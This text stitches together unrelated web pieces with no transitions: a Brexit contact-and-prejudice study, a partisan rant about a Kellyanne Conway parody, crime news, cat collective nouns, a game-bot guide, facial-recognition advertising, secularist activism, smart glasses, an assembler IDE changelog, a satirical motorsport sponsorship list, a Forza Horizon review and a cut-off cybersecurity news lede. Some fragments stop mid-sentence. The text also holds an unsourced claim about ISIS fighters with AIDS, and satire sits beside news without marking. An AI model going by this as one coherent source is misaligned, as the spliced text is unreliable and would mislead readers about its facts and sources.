In addition to its own editorials, USA TODAY publishes diverse opinions from outside writers, including our Board of Contributors.To read more columns like this, go to the opinion front pageor follow us on twitter @USATopinionor Facebook.
Read or Share this story: http://usat.ly/1u4qUqsPositive contact with immigrants led to increased support for Britain remaining in the European Union (EU) ahead of last year's historic referendum, according to researchers at the University of East Anglia (UEA).
The Brexit debate was dominated by the topic of immigration, with the Leave campaign accused of triumphing on the back of anti-immigrant prejudice. This new study explored the role played by individuals' everyday experience of contact with immigrants in their voting decisions.
Existing research suggests that living alongside and engaging in frequent positive interactions with members of different cultural groups generally makes people more accepting towards them. The researchers in this study suggest it is likely that individuals who come into contact with immigrants more often were actually those most likely to favour Remain.
The findings, published today in the British Journal of Social Psychology, confirm that while prejudice towards EU immigrants was a powerful predictor of support for Brexit, positive contact with immigrants had prejudice-reducing effects and was associated with increased support for Britain staying in the EU.
Lead researcher Dr Rose Meleady said the findings - which come ahead of the anniversary tomorrow of the referendum - help explain the seemingly counterintuitive observation made by some commentators that areas with low numbers of immigrants were those most likely to vote Leave. Electoral Commission figures showed that some of the highest levels of Remain voters were found in districts with high net migration, while some of the strongest Leave districts were those with the fewest immigrants.
Dr Meleady, of UEA's School of Psychology, said: "It is the contact that predicts prejudice towards immigrants, and prejudice was a predictor of how people intended to vote.
"Everyday interactions with immigrants are really important. If you have more opportunities for contact, for example on public transport, at the shops, or with neighbours and colleagues, your attitude is likely to be more positive. Fear of immigration can sometimes drive prejudice rather than its reality.
"Our findings highlight the importance of social interventions and policies that encourage interaction between different groups. Of course, interactions can sometimes be unpleasant or unfriendly and this can increase negative feelings, but we find that people report more positive encounters with immigrants than negative."
These factors relating to immigration were found to be strong drivers of voting intentions, over and above demographic factors previously linked with voting intentions - such as age, education and political orientation. Replicating previous findings, older, less educated, and more politically conservative voters were found to be most inclined to vote to Leave the EU.
Dr Meleady said: "While this study considered the role of intergroup contact and prejudice as drivers of voting intentions, it will be important for future research to also consider how the outcome of the referendum may impact intergroup relations. It remains to be seen what lasting effect Brexit may have on hostilities and animosities between different cultural groups, especially when it may mean that opportunities for contact are less readily available."
Conducted over two days in the week before the referendum, the study surveyed 417 British people about how they planned to vote and their attitudes towards the EU and immigrants - classified as someone who has come to live in Britain from another country within the EU.
The amount of positive and negative contact with immigrants was measured, together with anti-immigrant prejudice, and participants provided demographic information such as age, education, political orientation and gender.
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'Examining the Role of Positive and Negative Intergroup Contact and Anti-Immigrant Prejudice in Brexit', Rose Meleady, Charles R Seger and Marieke Vermue, is published in the British Journal of Social Psychology on June 22.TOO FAR? ‘Funny or Die’ Creates Disgusting Misogynistic Hit Piece on Kellyanne Conway
Funny or Die is a far left “comedy” video website that regularly takes swipes at conservatives and Republican figures.
Today Funny or Die launched a particularly vicious hit piece on Kellyanne Conway, the first woman to break the glass ceiling and successfully run a presidential campaign.
If Kellyanne was a Democrat she would be celebrated on every cable channel and featured on the cover of every prominent US magazine. But she’s a brilliant Republican – so she gets attacked constantly and mercilessly.
The Funny or Die people dedicated an entire website on their new project “The Kellyanne Conway Story.”
The first video was released this week shows the “First Look” at their hit piece on Conway.
The segment is filled with misogynistic and hateful attacks on Kellyanne Conway and President Trump. The video mocks Melania Trump’s accent and Mike Pence’s Christian faith- because poking fun of Christians is ‘funny.’
But it’s OK because they are all Republicans.
They even include a make out scene with the Trump and Kellyanne characters in the video.
The ‘producers’ statement’ includes attacks on blond white women… Because trashing white women is funny:
PRODUCERS’ STATEMENT Kellyanne Conway is the single most fascinating woman in American history. Beautiful, blonde, articulate — it’s no wonder Donald Trump chose her to helm his incredibly successful presidential campaign. Our production company is committed to making the voices of blonde, white women heard. It’s incredibly difficult to tell the story of a woman that is as entertaining as a story about a man, but we are tremendously proud of the work we did with The Kellyanne Conway Story.
It will be interesting to see if the snowflakes and feminists come out and denounce this anti-woman, racist hit piece.NEWPORT, Ky. -- After nearly 30 years, a Cincinnati man's murder conviction has been dismissed.
William "Ricky" Virgil left a courtroom in Northern Kentucky on Friday as a free man.
Virgil was convicted of killing a nurse in Newport in 1987 and spent 28 years in prison before a judge granted him a new trial in 2015 and released him on bond with an ankle monitor.
Media reported a judge dismissed the charge Friday after prosecutor Michelle Snodgrass said a grand jury decided earlier this month that there wasn't enough evidence to move forward with another trial.
When the decision was announced, Virgil hugged attorneys from the Kentucky Innocence Project, who took his case in 2010. Its investigation showed that DNA evidence at the scene was not connected to Virgil or the victim.The English language is full of fun words to describe groups of animals. These words are called collective nouns or terms of venery.
Inquisitive, energetic, exuberant and exhausting are all terms that come to mind when trying to describe a bunch of little kitties. Cats and kittens have been called many names over the years. Some names have stuck and are now used to refer to a group of felines.
Terms of Venery If you've ever wondered who came up with such crazy terms for animal groups, you're not alone. In his book, “An Exaltation of Larks: The Ultimate Edition," James Lipton lists most of the terms we use today to describe animal groups and includes many more we probably have never heard of. His research goes back 500 years to the days when hunting was a gentleman's sport and members of the so-called upper-class flaunted their education by playing word games while hanging out at hunting clubs. Over the years the tradition continued and spread beyond the social elites. Many of these coined phrases became accepted terms for groups of all kinds, not just animals.
Kitten Terms Like many other baby animals born to the same mama, a group of kittens is commonly called a "litter." They can also be called a "kindle," and this term refers specifically to kittens rather than any random group of baby animals. In Old English, "kindling" was a term used for birthing, and this is most likely where the noun originated from. Another seldom-used term for a group of kittens is an "intrigue." While kittens are certainly curious and intriguing creatures, the term more likely became associated with them back when "entanglement" was an accepted synonym for the word. A rowdy group of kittens can definitely be described as an entanglement of fuzzy little bodies.
Cat Terms There are several words associated with cat groups, including "clowder," "clutter," "cluster," "clutch" and "pounce." Imagine what you would see if you came upon a group of cats in the dark with their eerily glowing eyes; it is easy to see how the term "glaring" came to be yet one more name for a group of cats. A group of wild cats can be called a "dout" or a "destruction" -- no need to wonder how that word association came about.
Mistaken Identity If anyone offers to let you play with their mischief of kittens, you may want to decline the opportunity. A group of rats is sometimes called a "mischief." Baby rats and mice are called pups or kittens. So a mischief of kittens would actually be a group of baby rats, not cuddly little felines, though the term mischievous would be an apt description for a group of cute little furballs.
Video of the Day Brought to you by Cuteness Brought to you by Cuteness
About the Author Jenny Newberry, a former teacher with 25 years of experience, is a professional writer and photographer and holds a B.S. and a M.Ed. in elementary and special education from the University of South Alabama. She is also a history buff, praise and worship pianist, pet enthusiast, avid crafter and hobby gardener.I originally made this bot as an experiment in just how many shields I could get on a medic. It's pretty tightly packed and well shielded, which makes it an incredibly powerful healing force on the battlefield. The layers of shields are all supported by isolated rings, making it very unlikely to lose two at once. The helium provides it with some much needed stability, with two small thrusters possibly giving some (slight) speed. On level ground, the bot goes at about 140 mph. The primary strategy is to stay with a group and heal while the enemy is at range, and turn to offense if they get too close, tanking damage by rotating the least damaged shield into view, and backing off to recharge while healing. Spinning in place makes the guns hard to target, and splits damage evenly across the plates.
The main weak point of this bot is maneuverability. Driving it at top speed requires a bunch of minor adjustments to continue going the right way. The Vapor trail is a critical component in terms of knowing what way you're pointed.
What it lacks in maneuverability, it makes up for in survivability. The redundant guns keeps you in battle for a long time, and damaging the guns does not harm the core or shields. Paired with another medic, it simply does not die. Alone, I can sometimes solo an smg gunbed, spinning to distribute damage to all of the plates while removing guns. The gun positioning allow you to target all guns at one bot, or to split the beams to four targets. You can also tank damage while repairing if you need to. You can dive in front of sniper shots all day without fear. It's important to keep track of shield damage, though, and back off when they've been damaged too much.
This bot works as an smg as well, though it is better suited to healing. It needs to back off occasionally to recharge the shields, unlike the super tanky smg builds.The Harris County Sheriff's Office is investigating a possible case of road rage that sent two people to the hospital.One car shot at the other around 7:15 p.m. near the parking lot of the Cheddar's on the Katy Freeway at N. Westgreen Blvd.A nearby Harris County deputy saw the flash from one of the gunshots and went to investigate, but the two cars had already fled the scene, according to authorities.Investigators later learned two people with gunshot wounds had shown up at Memorial Hermann Memorial City Hospital. A woman was shot in the neck and was in critical condition. She is now in stable condition. A man was shot in the back. He is now awake and conscious. Investigators say he managed to drive to the hospital after the shooting.Deputies are working to get more details on exactly what lead to the shooting."The victim simply said that they were changing lanes and they must have cut someone off but we're still trying to verify the details of exactly what happened," said Harris County Sheriff's Office Captain Joe Ambriz.The Sheriff's Office described the suspect vehicle as a 4-door dark sedan.The car involved in this road rage incident is a black 300 Chrysler with Louisiana plates. No number letters are available.Let’s imagine you’re shopping and you pass a digital billboard that scans you with a built-in camera. The screen seems uncannily aware of who you are — a youngish man wearing a ball cap — because it displays a sale on hockey sticks and jerseys at a nearby sports store. Say your sister steps in front of the ad. The billboard changes. Because she’s identified as a girl, it’s now promoting makeup and nail polish.
Plan UK's digital billboard on Oxford St. in London is equipped with facial-recognition technology that can tell with 90-per-cent certainly the gender of someone standing in front. The video ad that it plays can be viewed only by women. ( Anthony Devlin / PA Wire )
Cool or creepy? Another scary digital intrusion into our privacy or merely the inevitable evolution of marketing? Ads tailored to fit age and gender seem weirdly futuristic, but this week busy Oxford Street in London saw a new reality with the launch of a digital ad that only women can see. It works like this: facial-recognition technology scans passersby and determines their gender. Women who stop can view a full 40-second ad for Plan UK, an international charity that helps children in the developing world. Men cannot view the ad but are directed to Plan’s website.
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The scanner measures the distance between the viewer’s eyes, the width of the nose, the length of the jaw line and shape of cheekbones to determine gender. It’s right about 90 per cent of the time. The $48,000 ad, which is on a two-week trial, is part of Plan’s Because I am a Girl campaign, which raises money to educate and empower the world’s poorest girls. While men can’t watch the video, they are shown a few statistics — one in seven girls in the developing world is married before 15, or 75 million girls do not go to school. In a variation on the medium is the message, technology denies men access to the ad just as girls and women in the developing world are held back from education and other life choices. “We are truly committed to working with men and boys, and women and girls, but on this occasion we do not show the same content for the very important reason women are being denied choices,” says Naomi Williams, Plan UK’s Campaigns Manager. “Choices about quality of education, the right to choose when and whom to marry.”
It’s not removing men from receiving the message, she adds. “It’s actually making them think and engage.” It’s the first time facial-recognition technology and interactive capability has been used in Britain for advertising. In the United States, The Venetian resort and hotel in Las Vegas uses scanning technology to tailor restaurant and club recommendations to passersby. With technology developed by Intel, some Adidas stores are using facial recognition in “virtual footwear walls” to display products suited to a shopper’s age and gender.
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Immersive Labs in New York has pilot projects that will be launched in Canada next month, says executive vice-president Jill Miller, declining further details. The company offers “anonymous video analytics” on pedestrians, including measurements of how long they are actually looking at an ad. Williams says the response has been positive to the Plan UK campaign, and has doubled the number of Twitter followers in just a few days. A piece about the billboard was the most-read article on BBC online on Tuesday, and press inquiries have come from around the world, including Brazil, Portugal and Korea. While privacy advocates in Britain have described the ad as “creepy,” Plan UK and Clear Channel UK, the agency that specializes in outdoor media, say the ad does not store any data and that passersby have a choice to opt in before facial features are scanned. While this ad allows viewers the choice of interacting, not all commercial applications of facial-recognition software may allow that choice. “There is a Big Brother fear we have that the machine is watching us and recognizing our gender and age,” says Sergio Meza, assistant professor of marketing at the University of Toronto. But scanning for age and gender is harmless, he contends. “We are not used to that, but from a rational point of view you know it’s not creepy. When you go to a store, a salesperson has measured you — your age, gender and your purchasing power, just by looking at you. You don’t have a problem with that because that person is human. But they are reading you.” Plan UK’s use of facial recognition software is creative and provocative by using different content for men and women to send a political message, says Teresa Scassa, Canada research chair in information law at the University of Ottawa. She sees it as “the edge of a big wave” of broad social issues that will be addressed in the near future. But she worries about digital technology accumulating and layering personal information on top of a database of recognizable images. “The problem is the loss of control over our personal information,” she says. “It happens in so many contexts and is applied and matched behind the scenes, so it’s difficult to know as individuals what companies know about us.” There is also potential for discrimination,” Scassa says. Someone identified as a young, affluent professional may be targeted for special discounts and promotions. Someone else, who shows up as a less desirable customer, may not get those same offers. “You open the possibility of targeting products and services to classes of individuals while others will be excluded from opportunities. There is the risk of social alienation, profiling done by algorithms, it’s not perfect but it’s making a judgment of who you are and what you like.”The Secular Coalition for America plans to establish state chapters across the country by the end of this year because many of the issues we fight for are put in jeopardy at the state level.
Executive Director Edwina Rogers elaborates:
“In our current U.S. Congress, 38 percent of Representatives held local office first,” said Rogers. “When we get to law makers at the local level, not only are we going to help curb some of the most egregious legislation we’re seeing, but we are also building relationships and working to educate legislators on our issues, before they even get to Washington.”
But they’re already getting pushback from the Religious Right as they enter their first few states:
Johnnie Moore, vice president of Executive Projects at Liberty University in Lynchburg, told The Christian Post that the SCA’s focus on his state was due to Virginia’s importance on the national stage as a bellwether state. “They clearly recognize Virginia is a state of great symbolic and national consequence,” said Moore. “Many Virginians would consider it a compliment that our state is so committed to the founding principles of our nation that we would cause alarm to an organization whose agenda is as radical as this one.”
Riiiiiight. That radical agenda of treating atheists as equal citizens and maintaining separation of church and state.
In Kentucky, one pastor asked his followers to barge in on the phone call for potential organizers:
Lee Watts, leader of God & Country Ministry, and self-proclaimed “chaplain to the Kentucky state government” encouraged followers to disrupt the initial organizing call for the Kentucky SCA chapter scheduled for Thursday. His website claims the Secular Coalition is, “working to lobby state law makers to push their anti-God, anti-religious liberty agenda” and claims that the SCA is attempting to “abolish traditional marriage.”
Seráh Blain, head of the Secular Coalition of Arizona, has dealt with many of these local issues. She supports the SCA’s expansion and knows how important grassroots activism really is:
“Too much erosion to the wall of protection between religion and government happens at the local level, and can best be addressed by grassroots, secular organizing,” says Blain. “This is where SC Arizona excels. In addition to lobbying at the State Capitol, we’re working on growing local nontheistic communities; implementing a school board task-force to protect our secular public schools; and engaging the broader community in conversations about the importance of secular government. We’re looking forward to getting more people involved in secular activism.”
If you’d like to be a part of the SCA’s outreach, details about the conference calls with members from each state can be found here. It would be pretty amazing if SCA planted the seeds for groups in every state by the end of the year…In the 1988 sci-fi flick They Live, a local drifter named John Nada stumbles upon a magic pair of sunglasses that give him the ability to see aliens. Turns out, the entire ruling class in America are nothing but aliens disguised as humans, and they're controlling society through subliminal messages in TV ads.
Being both an action film and the '80s, it takes a predictable turn: Nada grabs a shotgun, flips on his shades and restores democratic order, all while coining the catchphrase, "I have come here to chew bubblegum and kick ass. And I'm all out of bubblegum."
There's "Nada" flaw in the entire film.
But movies are just movies, and there aren't any glasses out there that let us see E.T.-like visitors. Our ruling class would never allow it.
See also: 5 More Tech Companies Ready to Supercharge Your Virtual Reality
The introduction of Google Glass, however, has opened up all new doors in eyewear technology. We've seen it make waves in the way we pay, treat Parkinson's disease and even visit the zoo.
It's all great, and we're gonna let Google Glass finish and everything, but there are plenty of other examples of high-tech eyewear also worth checking out. Here are a few of our favorite non-Glass glasses.
A student wears a prototype of Drexel University student Troy Hudson's "light therapy" glasses. Image: Drexel University
Seasonal Affective Disorder (SAD), more loosely known as the "winter blues," affects nearly 10 million people in the Northern Hemisphere during the winter months. Most symptoms include depression, anxiety and mood changes. The typical form of treatment is light therapy, which uses special lamps to literally mimic the sunlight that isn't being absorbed naturally.
A student at Westphal College of Media Arts & Design designed a pair of sunglasses that beam simulated sunlight into the wearer's peripheral vision. Anyone who suffers from SAD, the creator says, will be "tricked" into thinking it's summer — even in the middle of a dreary February night in the northern woods of Wisconsin.
Troy Hudson, the 22-year-old student, designed the glasses to make light therapy more routine. Most light therapy lamps or boxes come with the burden of sitting in place for several hours each day. It's fine for lounging — you just flip on the switch and sit close enough to absorb the light — but Hudson wants the glasses to accommodate a more active lifestyle. With the eyewear, the light goes wherever the wearer does.
The title of this group's website — SpaceGlasses.com — sums it up nicely.
Meta, the California-based startup, is packing the power of augmented reality, a laptop and a smartphone into a pair of Ray-Ban sunglasses. Wearing the device creates a hologram-like display that users can sort through with their hands, similar to the technology seen in Iron Man and Minority Report.
The glasses are a two-part system: one half 3D output display, and one half 3D scanner. The output display allows the user to see holograms — say, an image or computer file — and the scanner scans the environment and tells the computer where to place the graphics relative to the wearer. The overall idea, its founders say, is to create a Google Glass-type device that looks a little more discrete.
The group raised close to $200,000 for the project through a Kickstarter campaign last year. According to the website, you can preorder a pair for a cool $3,650. Orders will ship in January 2015.
The Glyph, a wearable "personal theater" that recently raised more than $1.5 million on Kickstarter, is a set of glasses that use virtual retinal display technology to give users crystal clear images.
The contraption doubles as headphones, and when you flip the band down in front of your eyes, there are a series of two million miniature mirrors — not a screen — that project visuals directly into your retinas.
Using a basic HDMI connection, users can transport anything from their personal devices to the Glyph.
REMINDER: Don't be this guyThe so-called Islamic State (IS, formerly ISIS/ISIL) terrorist group plans to send 16 of its fighters on suicide missions after they were tested positive for AIDS, a Syrian source claimed.
Ahlul Bayt News Agency - The so-called Islamic State (IS, formerly ISIS/ISIL) terrorist group plans to send 16 |
.10.2018 - version 3.10.0 (zip, exe):
BSD OS support (thanks Martinfx).
Fix for not working debugging on systems where gcc has default PIE option (thanks lberserq).
Spanish language added (thanks Mariano Cordoba).
Small settings usability fixes.
12.09.2017 - version 3.9.0 (zip, exe):
More convinient memory expression watches have been added.
Debugger crash bug has been fixed (thanks lberserq).
Polish language translation has been added (thanks Krzysztof Rossa).
Hebrew language translation has been added (thanks Elian Kamal).
19.02.2017 - version 3.8.0 (zip, exe):
Registers parsing while debugging has been improved.
Build in current directory option has been added.
Italian language translation has been added.
30.10.2016 - version 3.7.0 (zip, exe):
Chinese language has been added.
German language has been added.
Bug with single application crashes has been fixed.
Bug with unprintable characters in program output has been fixed.
25.09.2016 - version 3.6.0:
Turkish language has been added.
Tab key action has been improved.
26.08.2016 - version 3.5.1:
Drag & drop bug, debugging bug and some small bugs have been fixed.
19.03.2016 - version 3.5.0:
GoLink linker support.
Bug with wrong file names when saving and opening has been fixed.
11.02.2016 - version 3.4.0:
Ability to change line number font color.
Ability to switch off debug string insertion.
27.01.2016 - version 3.3.0:
Single window mode.
Drag & drop for file opening.
Improved help: extended troubleshooting chapter and new building system settings chapter.
A lot of bugs have been fixed including bug with non-native paths on Windows and bug with FPU registers showing.
14.06.2015 - version 3.2.0:
Ability to build programs without running linker.
New FASM 1.71.39.
Fix of some debug problems.
27.05.2015 - version 3.1.4: fix of localized systems debug problem.
30.03.2015 - version 3.1.3: showing description of received signal has been added.
27.03.2015 - version 3.1.2: debugging files with include has been improved.
24.03.2015 - version 3.1.1: bugs with syntax higlighting have been fixed.
29.08.2014 - version 3.1.0: changes from pull requsts and issues from GitHub - movable tabs, warning message for wrong assembler or linker executable, improve indent operation, noexecstack option for binaries in Linux.
24.07.2014 - version 3.0.1: additional registers view in debugger has been added.
13.07.2014 - version 3.0:
New assemblers have been added: now NASM, GAS, MASM, FASM are supported, including syntax highlighting, debugging, and x86/x64 modes. Added ability to choose your own assembler or linker filling path to them.
Many improvements in debugging. Now it is possible to debug programs even without debugging information for GDB (for example, written in MASM). The ability to suspend the program has been added, as well as set a breakpoint during its execution. Added folder for include files.
Fixed problem with text editor leads to a heavy load on the processor while opening big files. Fixed a bug with the disruption of the interface after opening the settings window. Fixed many minor bugs and errors.
23.04.2014 - version 2.3.1: bug with spaces in the path to temporary directory was fixed (now SASM works on Windows XP).
03.04.2014 - version 2.3:
Abilities of mode selection (x64 or x86) and assembler and linker options change were added. Added tools for compilation and debugging 64-bit code.
64-bit instruction and registers and NASM macro assembler highlighting was implemented. "io.inc" library adapted for using in 64-bit applications.
Many bugs were fixed.
16.02.2014 - version 2.2:
Significantly improvements of SASM interface and usability. Full color and syntax highlighting customization. All widgets become docking windows with many variants of them location. Register and memory widgets improved, ability of saving their state. Icons and toolbars added.
Breakpoints improved. Macro debugging improved.
Hotkeys improvements and ability of them rebinding.
13.11.2013 - version 2.1:
Many bugs fixed, compatibility problems fixed - installation packages for a lot of Linux systems created, compatibility with Qt 4 added, making from sources improved.
Many improvements added, functionality expanded. In debugger added: registers and memory watches, breakpoints, continue command; improved: performing gdb commands, current line highlighting, sequential output in debugging, "io.inc" macro changed.
Compilation in temporary folder. Mark of unsaved document. Sequential output in programs. Status of finishing of program. Time of execution of program. Font choosing.
Help updated. New icon. Yet many minor improvements and features.
04.06.2013 - version 2.0: debugger has implemented, highlighting has been improved, many files support added, SASM (new name) has been rewrited on Qt and has become Open Source and crossplatform. Sources and new site is placed on GitHub.
21.04.2013 - version 1.0.4 - CEXTERN bug fixed.
18.03.2013 - version 1.0.3 - highlighting bug fixed, MASM bug fixed.
10.03.2013 - version 1.0.2 - bugs fixed, code autosaving added.
07.03.2013 - first version of SASM - 1.0.0.
Wishes and reports send to e-mail: Dman1095@gmail.com or left on GitHub issues.
Copyright © 2013 Dmitriy ManushinWith the announcement at the 12 Hours of Sebring of the redubbed Bubba Burger Sports Car Grand Prix At Long Beach the titles of all of the remaining rounds of the 2016 IMSA WeatherTech Sportscar Championship are set to be rejigged too.
IMSA Marketing Spokesman Ian Ormous said:
“I came up with the Bubba Burger tie-in as I was getting a bit hungry before lunch so tried the same tactic again. It’s been very successful with all bar one of our races now with a revised title sponsorship and already with some success for prospects into 2017.”
It is understood that the sponsorship strategy will be reviewed well before the proposed 2017 Rolex 24 Pack of Monster Munch at Daytona.
Remaining 2016 IMSA Weathertech Sportscar Championship Calendar
Continental Tire Monterey Jack Grand Prix Powered By Mazda.
Chevrolet Sports Car Classic Presented By Metro Detroit Chevy Meal Dealers.
Sahlen’s Six Hours Of The Glen (No Change).
Canadian Smoked Bacon Tire Motorsport Park.
Northeast Grand Prix, Key Lime Rock.
Continental Breakfast Tire Road Race Showcase, Road America.
Oak Tree Grand Prix at Virginia Ham International Raceway.
Lone Starbucks Le Mans.
Petit Filou Le Mans.by
Forza Horizon is an open world racer developed exclusively for Microsoft’s Xbox 360. It was developed by British studio Playground Games, in association with Turn 10 Studios. Will this new vision of the franchise tarnish the impressive reputation of previous Forza’s or will this title further enhance the series?
Gameplay: 4/5
Longtime fans concerned about the new direction of the racing, open-world style that Forza Horizon has taken can rest easy. Forza Horizon has had direct support from Turn 10, the original developers of the main series. Horizon’s main developer on the game, Playground Games, is a proficient team made up of expert developers from various racing studios, some notable studios such as “Codemasters”, as well as other known firms. As the first open-world game in the Forza Motorsport franchise, the single player storyline starts you as a new guy trying to make his name in the speed-celebrating, car-meets-concert aptly named Horizon festival. The Horizon Festival is a grand event for car lovers and skilled racers everywhere, set across a massive stretch of roads and expansive fields and plains in the middle of countryside Colorado. Playing as an unnamed protagonist new to the circuit, you will speed on over to the Horizon Festival. From here, you will work your way from the bottom to the top to become the festival’s Champion. While there is a story behind the goal to reach the top, and a few memorable cut scenes with some quirky characters, it’s mostly forgettable and many of the characters only appear early in the game anyway, which is a shame as Playground Games missed an opportunity to inject some more narrative depth into the impressive backdrop they constructed.
As I stated, the game takes place within a Colorado setting that provides an enthralling asphalt playground for you to rip up with a suitable list of exotic and non-exotic autos. The game’s landscape is grand and the environment is rich. Terrain is divided into distinct areas like Grand Canyon Red Rock, little town Carson, and scenic Gladstone and many more. All roads lead to the central Horizon-carnival hub where you can do a number of things. You can purchase new cars and modify your vehicle, while progressing through the single-player campaign and join/create a car club. Forza’s refined physics model, real-world car selection, and renowned attention to detail are all on display here. Horizon might be a completely new venture, yet it has a familiar feel that will please most fans of the series. Horizon encompasses a large amount of settings for control breaking and handling, which easily makes the game accessible for any gamer of varying skill levels. Terrifically, the rewind feature returns for those who need to train a little more on achieving their drift and corner turns. For those driving simulator fans (aka the “Veterans”), you can simply skip all this and tune the difficulty to realistic conditions and all assists off. This will now create a fast-paced, ultra intense racer.
The game’s first two races of Horizon are served to introduce the player to the environment and controls. As expected, Forza Horizon incorporates many different gameplay aspects from Forza Motorsport. The large variety of cars, realistic physics and high-definition graphics are all present and impressive. Every car is fine-tuned to feel and drive accurately based on their size and power. The level of aesthetic and under-the-hood detail imbued upon them is just as impressive as in Forza 4. Whether you’re driving a Ford Focus or a Ferrari, the handling is relative and precise. With over 60 different terrain surface types, players will test the physics of each vehicle. Drifting corners and speeding through the highways while the sunset is setting in your rear view window is pure fun. There are times where frustration will come, however I found myself becoming more of an aggressive driver than in previous Forza’s. Basically, I was ramming A.I. cars into guard rails and off road in order to come in first place. Customization is as enormous and finely detailed as ever before, with a plethora of car upgrades, aesthetic vinyl designs and paintjobs to interact with. Forza Horizon has over 120 cars to unlock, though a massively increased collection is on the way via DLC. The true goal of Forza Horizon is to rise above the ranks and become the champion of the Horizon festival. This is achieved through obtaining “Wristbands” from Horizon events set all across the Colorado valley. Each wristband color is a different level and as you progress the levels, the cars and races become more exotic and intense. Certain events range from simple start to finish endeavors, while others have you competing against various fighter planes. Yes you read correctly, certain stages have you racing against planes and hot air ballons. You’re also encouraged into completing daredevil stunts, like pulling off some crazy drifts and barely missing oncoming vehicles a number of times to boost your popularity and rank up from the initial 250th place. You’ll also win a multitude of classic cars and earn plenty of cash along the way, offering plenty of incentive to progress.
Horizon’s events are diverse and most often involve driving fast and aggressively. Some races will encourage destroying property, while others focus on off-road challenges and so on. There are heaps of street race hubs and other racers on the open roads who you can challenge during free-roam to a friendly race, and the game lets you know how well your car matches up to the challenger before-hand. Scattered throughout the map are Hot Spots, which offer PR Stunts such as chaining together drifts and near misses to raise your street rep with the festival goers. There are also photo challenges where you drive your selected car to a visually pleasing area of the map and snap a photo. In addition, there are a number of speed traps across the map that record your fastest speeds, challenging you to top the time it takes to get to the next one.
The multiplayer portion of Horizon also has plenty to offer. The famed “Rivals” mode makes a return after each race, where you are encouraged to beat the “ghosts” of friends – in other words, their recorded race times – to earn some extra cash and rise the leaderboards. There are heaps of other individual challenges to undertake with fellow race fans, but what really shines above all else are the playground games like “Infected,” where one “infected” car aims to ram into others and “infect” them until no more cars remain or “King”, where one car racks up points while avoiding other cars. These events help you rank up online and get rewarded with new cars and cash. However all is not great as I noticed frequent times of lag in certain match-ups. The lag would send other players flickering across the map at random points which made online races a tad annoying to continue. Another negative aspect is the multiplayer doesn’t blend seamlessly with the single-player game. If you choose to hop into multiplayer from the main menu, you must be taken to an online location where you can join up to seven other players in a variety of circuit, point-to-point, and free-roam co-op racing events.
Graphics: 5/5
Visually, the game is striking. The representation of Colorado is impressive, and the landscape itself is energetic and meticulous. However, the game is surpassed ironically by its predecessor, Forza 4. This is by no means a negative for Horizon. Overall, Forza 4 is a slightly superior looking game, but Horizon’s night and day sequences are truly a new benchmark for racing game visuals. The day/night cycles system is truly a sight to behold. When you’re driving down a stretch of highway and the sun sets behind the high mountains, the car’s dashboard brightens and the headlights switch on automatically. All the textures, colors and surfaces are crisp. Another impressive feat is the draw distance, which is a sight to behold when traveling 220mph and all areas ahead are fully detailed in 1080p. These small subtle touches further add to the overall visual presentation of the game.
Watching the fireworks explode in the sky while cruising for races is jaw dropping, and is a great chance to use photo mode. Car models are spot-on, and the damage modeling is terrific for a franchise not known for damage intensive detail. This is one slick looking game. The wide variety of environments and scenery is amazing and the level of detail is stunning; from the bustling, celebratory atmosphere of the center Festival, to the twisty mountain passes, country towns, open grasslands, dusty desert roads and massive freeways, all of the locales present are distinct and a pleasure to speed on past.
Sound: 4/5
The audio in Horizon does range from amazing to average and I will explain with the negatives first. The voice acting for the festival workers are good and do the job. However, the rival racers you will compete against are a tad too phony. Basically, the rivals range from an assortment of severely stereotypical characters we have all seen or heard before. You have the typical white surfer dude who seems to be a burnout, to an urban guy being a thug, followed by a stereotypical foreign guy who can possibly be from somewhere in Eastern Europe and is acting like Borat. Lastly, there’s the ditzy blonde girl who seems to be very one dimensional (surprise, surprise). The strange radio DJ is another character they could have did without. However, he can be turned off thankfully. The game’s soundtrack, which consists of three radio stations mixed with rock, indie and techno, are something of a letdown.
Ironically, the best part of everything that hurts the audio (acting, music, and DJ) is all facets that really do not take much time throughout the game. And of course, these trivial issues stick out more because the rest of the game is crafted and impressive. The audio effects for every car in Horizon are truly impressive. Engines rev as they should, and the pure power behind them as you accelerate is pleasing to hear. The sound effects are simply outstanding. When you have a packed corner full of cars, the sounds of 5-10 high horse-powered engines all revving at once sounds beautiful, especially playing on headsets. These sound effects create a lot of excitement throughout the game and the crashes sound as intense as they should. Everything involving the sound effects just sounds correct to the ear and adds to the thrill of the race.
Replay Value: 4/5
Completing everything Horizon offers is definitely an endeavor. There are tons of events, side races for cash, speed traps and zones to hit, and the quintessential collectible, discount signs. Hitting these gives you discounts on certain items. You also have a challenge list that keeps track of things like drifting and slingshot passes. Each level gives you even more discounts on certain items. All of this happens in the background, and before you know it, you have accumulated tons of discounts. You can also earn tokens that can be used to buy cars or even a treasure map for the world. This shows you the locations of all items, including discount signs. Buying tokens to unlock everything takes away from the whole point of Horizon’s experience: exploration and discovery. In terms of online gameplay, it may not be a “seamless” experience that the game screams to be, but it will keep your attention for a decent amount of time. However, these issues were minor and didn’t detract significantly from the expertly crafted, visually impressive and enjoyable driving experience Playground Games has provided.
Overall Score: 17/20 = 8.5 out of 10
Forza Horizon is a worthy spin-off and entry that steers the Forza franchise into a new direction. Open-road racing has never been this visually pleasing and fun. The game crafts a balanced experience enjoyable for racing veterans, car enthusiasts and casual racing gamers everywhere. Forza Horizon is an ultra-realistic driving game where the physics transpire through its rich heritage. Horizon is a bold new take on the famed franchise. There are areas that could have used improvement and longtime fans will immediately pick up on this as I have. However, the courage to try something new does not go unnoticed. Forza Horizon was definitely a great surprise. Not only does it carry the Forza name, it tries to carry the quality, just in a different form. Fans of games like Burnout Paradise, Dirt, and Need for Speed should definitely check out Horizon. It carries a horde of content,, as well as being really fun to play. The pacing is enjoyable and will have you coming back for a long time to come, whether for DLC or the content already packed into it. When it comes to racing games, they are usually a love/hate relationship for gamers, particularly when some are crafted as arcade-style gameplay. Horizon creates that fine line and manages to entertain on almost every level. Microsoft has a definite winner on their hands with the latest iteration of the Forza brand.
PROs:
+ Superb visuals
+ Solid gameplay mechanics
+ Amazingly accessible
+ Massive range of vehicles
CONs:
– Soundtrack is somewhat generic
– Voice Acting/ storytelling
– Lack Of Seamless Online integrationTHERE are criminals lurking in cyberspace, analysing your every move and waiting to attack.
It is all part of a sophisticated shift in the way hackers are gaining access to your personal details and money.
A new report from next-generation cybersecurity company Proofpoint has discovered attackers are tricking people into infecting computers themselves, rather than relying on automated exploit technology.
